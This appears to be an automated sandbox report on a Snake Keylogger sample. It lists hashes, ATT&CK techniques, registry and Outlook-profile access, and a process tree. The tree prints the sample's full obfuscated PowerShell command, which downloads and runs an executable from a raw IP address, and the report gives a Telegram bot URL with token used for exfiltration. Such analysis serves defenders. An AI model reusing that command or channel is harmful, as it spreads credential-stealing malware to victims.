snakekeylogger | 95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305

Analysis

max time kernel
148s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-10-2024 15:25

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General

Target

na.hta
Size

129KB
MD5

03140c0995d8db21fe4fb2f030322615
SHA1

0199286b876a0d3e896b1830ff024555374e51f3
SHA256

95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305
SHA512

9f2682368cd24bf210edf0ec6d286d016a89b5fba4649fdd76d18bdc7f1cbc4dfb079079d074756dbfcf6377c1e34d6b59664df6ca7a8e6770af2fce704e09f9
SSDEEP

96:Eam780jLy6w80jLyrdUwSdffYJMK0jLyqx0jLyt0Aj5OtG80jLy987T:Ea280f7w80fCUpdWMK0fd0fX5A80fGCT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/1780-91-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	3160	PowERShELL.Exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
3160	PowERShELL.Exe
3084	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
1976	taskhostw.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000b000000023b86-75.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1976 set thread context of 1780	1976	taskhostw.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PowERShELL.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3160	PowERShELL.Exe
3160	PowERShELL.Exe
3084	powershell.exe
3084	powershell.exe
1780	RegSvcs.exe
1780	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1976	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3160	PowERShELL.Exe
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeDebugPrivilege	1780	RegSvcs.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3648 wrote to memory of 3160	3648	mshta.exe	85
PID 3648 wrote to memory of 3160	3648	mshta.exe	85
PID 3648 wrote to memory of 3160	3648	mshta.exe	85
PID 3160 wrote to memory of 3084	3160	PowERShELL.Exe	89
PID 3160 wrote to memory of 3084	3160	PowERShELL.Exe	89
PID 3160 wrote to memory of 3084	3160	PowERShELL.Exe	89
PID 3160 wrote to memory of 4724	3160	PowERShELL.Exe	94
PID 3160 wrote to memory of 4724	3160	PowERShELL.Exe	94
PID 3160 wrote to memory of 4724	3160	PowERShELL.Exe	94
PID 4724 wrote to memory of 1008	4724	csc.exe	95
PID 4724 wrote to memory of 1008	4724	csc.exe	95
PID 4724 wrote to memory of 1008	4724	csc.exe	95
PID 3160 wrote to memory of 1976	3160	PowERShELL.Exe	97
PID 3160 wrote to memory of 1976	3160	PowERShELL.Exe	97
PID 3160 wrote to memory of 1976	3160	PowERShELL.Exe	97
PID 1976 wrote to memory of 1780	1976	taskhostw.exe	99
PID 1976 wrote to memory of 1780	1976	taskhostw.exe	99
PID 1976 wrote to memory of 1780	1976	taskhostw.exe	99
PID 1976 wrote to memory of 1780	1976	taskhostw.exe	99

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3648
- C:\Windows\SysWOW64\WInDoWspOwERsHell\v1.0\PowERShELL.Exe
  "C:\Windows\SYStEM32\WInDoWspOwERsHell\v1.0\PowERShELL.Exe" "POwersHelL -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE ; Iex($(iEx('[sYStEM.TEXt.enCodInG]'+[cHaR]58+[chAr]0X3a+'UTf8.gETSTRInG([SYSTEm.COnVert]'+[ChaR]58+[ChAR]0X3A+'FroMbASE64strINg('+[ChAR]0X22+'JG44ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlckRFZklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1tVkYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrd1pEdUhyU0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6cUxySWYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUN1bGdiLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmlmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkp4dkVqQU9mV0RaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V1USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG44OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMjgwL3Rhc2tob3N0dy5leGUiLCIkRW52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSdC1zTGVlUCgzKTtTVGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVx0YXNraG9zdHcuZXhlIg=='+[chAR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3084
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\flqhybhm\flqhybhm.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES95F6.tmp" "c:\Users\Admin\AppData\Local\Temp\flqhybhm\CSC2644BB8ACA2446C383F3CB19C7E85326.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1008
- - C:\Users\Admin\AppData\Roaming\taskhostw.exe
    "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowERShELL.Exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
a1b935891d86d884c382a9d2c15c9b79

SHA1
9445a427b32f6dde7b968a64d37de94852b52c2d

SHA256
c855517c6f1c656b917b92423a6a265bb1df98ee2891aeca2fb865b58b542903

SHA512
551ee38e593bea6f1f43ad7c6dcd3be03c15ae09b54f6bf5864cd6fd425d0d424df8414049d1d2d0edbc3c067831a2c3d2f874aeca4fb3a1817c09baf18674e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES95F6.tmp

Filesize
1KB

MD5
07ab074de673dae6e3eb33fed4ca6d7e

SHA1
1224f3bfc9ec4caa31cebf34adcedf9c5e45beff

SHA256
4288fb27b03770ca11328e5b09089d5e87f7706d02ce16ef84c9054eedaa0351

SHA512
270478dcdd57042236ebebecfa9b795831eefbf9eecc1794fe8bdae189266197cf84db6b341bfb48903b9fa06fcc88f10188d822588108a64f97e3c5b4fffdda

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_medn3qyk.1ic.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\flqhybhm\flqhybhm.dll

Filesize
3KB

MD5
f1dc8f285023922952b4ef2a20ad46be

SHA1
a5227fa205a07892a165d572920a7a57606b8cc8

SHA256
159158bdc7082af39c79b0f0272b3aac28d72b058ff10a2ed241a27e566f63b4

SHA512
0a74ef5300f36e663770e10b1bdf56c26bc022fe13e851dd2ad6ac57d59ff344456cc7753cb7ddf9c6a946ded81eae60ed5338d0dd454a59eaf62c2bf2016569

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
935KB

MD5
daaa8ac3995fb610eda2e52a639d191f

SHA1
2a26a631b79878c461248d5c03a33fb312aedb05

SHA256
e82aa9f8f95f53d306db35e28e6fdd4dd16eba7d7437971f929d3cf5470267b7

SHA512
808c18d514439aead5759bd3d1bfbfb1b31cfb6c03a147db8525aa8f7dec30fb4b73a12b4e4310f97b9917f6513594d917184434f49ff9a5ee1870c46ae75157

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\flqhybhm\CSC2644BB8ACA2446C383F3CB19C7E85326.TMP

Filesize
652B

MD5
bd95e4fa8f0813df6ecc040641246c82

SHA1
bf08ea07da4c47cda9e74577362835d79d37611a

SHA256
7d90e92b9ee877a68eeb3a02872f40a96b750aaeafaae36df95d2b7d340f6eb9

SHA512
cfa9a9623118f2dbb2c0ed5d7db74b89aca1e44ab3d2ada667266337ef1338429ff470c988d743fe22cfce0c9c46b19ad92566a4ad6041212b433a6690d7e875

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\flqhybhm\flqhybhm.0.cs

Filesize
474B

MD5
0e03065f874d09489b23d564815660e8

SHA1
005cc140f8d9ad68a7863aee4da445e466c98379

SHA256
9600c5f95e6b296008011163196ad864c684b50e172ea35f0ca140ce577c75f1

SHA512
a55b8c7d5656c0c854da908ecf6bcc64f9520b61ff21154aa548e01dbd69ffd762806c09b3ec331d94b23b6145b48e2e649ead07dab8d73a17bc2a6981800d10

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\flqhybhm\flqhybhm.cmdline

Filesize
369B

MD5
275b3f07f3e86fc97b49a6e9c281fe68

SHA1
9316f7aaec0cc4bd8aaf61334929100f9d57e404

SHA256
dd30cfa979361f4164438810254d4bdc22161bfc296278a9ed493a5843c65777

SHA512
39bb97b4843cb07d62d7975834ea1ce01f16ce7ba54e872da6cfb18b0b0bcbf4faf3c790846fe85d47a89bc9b536a00fa530b44c5582368fd9cc83e926168dff

Download Submit
memory/1780-94-0x0000000006200000-0x00000000063C2000-memory.dmp

Filesize
1.8MB

Download
memory/1780-91-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1780-92-0x0000000004E90000-0x0000000004F2C000-memory.dmp

Filesize
624KB

Download
memory/1780-93-0x0000000005FE0000-0x0000000006030000-memory.dmp

Filesize
320KB

Download
memory/1780-95-0x00000000060D0000-0x0000000006162000-memory.dmp

Filesize
584KB

Download
memory/1780-96-0x0000000006070000-0x000000000607A000-memory.dmp

Filesize
40KB

Download
memory/3084-40-0x0000000006B80000-0x0000000006B9E000-memory.dmp

Filesize
120KB

Download
memory/3084-42-0x0000000007F60000-0x00000000085DA000-memory.dmp

Filesize
6.5MB

Download
memory/3084-43-0x0000000007920000-0x000000000793A000-memory.dmp

Filesize
104KB

Download
memory/3084-44-0x0000000007990000-0x000000000799A000-memory.dmp

Filesize
40KB

Download
memory/3084-45-0x0000000007BA0000-0x0000000007C36000-memory.dmp

Filesize
600KB

Download
memory/3084-46-0x0000000007B20000-0x0000000007B31000-memory.dmp

Filesize
68KB

Download
memory/3084-47-0x0000000007B50000-0x0000000007B5E000-memory.dmp

Filesize
56KB

Download
memory/3084-48-0x0000000007B60000-0x0000000007B74000-memory.dmp

Filesize
80KB

Download
memory/3084-49-0x0000000007C60000-0x0000000007C7A000-memory.dmp

Filesize
104KB

Download
memory/3084-50-0x0000000007C40000-0x0000000007C48000-memory.dmp

Filesize
32KB

Download
memory/3084-41-0x0000000007800000-0x00000000078A3000-memory.dmp

Filesize
652KB

Download
memory/3084-30-0x000000006D850000-0x000000006D89C000-memory.dmp

Filesize
304KB

Download
memory/3084-29-0x00000000075C0000-0x00000000075F2000-memory.dmp

Filesize
200KB

Download
memory/3160-19-0x0000000006440000-0x000000000648C000-memory.dmp

Filesize
304KB

Download
memory/3160-0-0x0000000070F9E000-0x0000000070F9F000-memory.dmp

Filesize
4KB

Download
memory/3160-65-0x00000000069A0000-0x00000000069A8000-memory.dmp

Filesize
32KB

Download
memory/3160-71-0x0000000070F9E000-0x0000000070F9F000-memory.dmp

Filesize
4KB

Download
memory/3160-72-0x0000000070F90000-0x0000000071740000-memory.dmp

Filesize
7.7MB

Download
memory/3160-73-0x00000000077D0000-0x00000000077F2000-memory.dmp

Filesize
136KB

Download
memory/3160-74-0x0000000008880000-0x0000000008E24000-memory.dmp

Filesize
5.6MB

Download
memory/3160-18-0x00000000063F0000-0x000000000640E000-memory.dmp

Filesize
120KB

Download
memory/3160-17-0x0000000005F10000-0x0000000006264000-memory.dmp

Filesize
3.3MB

Download
memory/3160-7-0x0000000005750000-0x00000000057B6000-memory.dmp

Filesize
408KB

Download
memory/3160-88-0x0000000070F90000-0x0000000071740000-memory.dmp

Filesize
7.7MB

Download
memory/3160-5-0x00000000054B0000-0x0000000005516000-memory.dmp

Filesize
408KB

Download
memory/3160-6-0x0000000070F90000-0x0000000071740000-memory.dmp

Filesize
7.7MB

Download
memory/3160-4-0x0000000005410000-0x0000000005432000-memory.dmp

Filesize
136KB

Download
memory/3160-2-0x0000000070F90000-0x0000000071740000-memory.dmp

Filesize
7.7MB

Download
memory/3160-3-0x00000000057E0000-0x0000000005E08000-memory.dmp

Filesize
6.2MB

Download
memory/3160-1-0x0000000002AE0000-0x0000000002B16000-memory.dmp

Filesize
216KB

Download